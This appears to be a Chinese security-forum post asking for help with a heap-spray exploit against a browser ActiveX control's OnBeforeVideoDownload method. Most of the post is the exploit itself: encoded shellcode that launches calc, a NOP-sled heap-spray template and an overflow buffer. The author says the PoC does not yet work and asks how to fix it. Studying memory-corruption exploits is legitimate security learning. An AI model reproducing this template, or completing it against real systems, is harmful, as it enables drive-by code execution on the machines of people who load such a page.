同学开始学溢出了,没发帖权限,偶又不懂,故帮其发个帖,请大牛指教
<html>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id='target'></object>
<body>
<SCRIPT language="javascript">
//heap spray 模板开始
//这里为exec calc shellcode
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x40000) block= block+ block+ fillblock;
memory=new Array();
for (x=0; x<200; x++) memory[x] = block + shellcode;
var buffer = '';
//heap spray 模板结束
//下面为疑惑点
//经测试溢出点在4145-4148,因填补'%u0A0A%u0A0A'为四字节,故循环控制为4148/4=1037,感觉这样计算对的但运行这个poc没一点效果,肯请牛牛们指教!
while (buffer.length < 1037) buffer+=unescape('%u0A0A%u0A0A');
target.OnBeforeVideoDownload(buffer);
</script>
</body>
</html>
【ps:winhex貌似查看不到0A0A0A0A内存内容?】
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!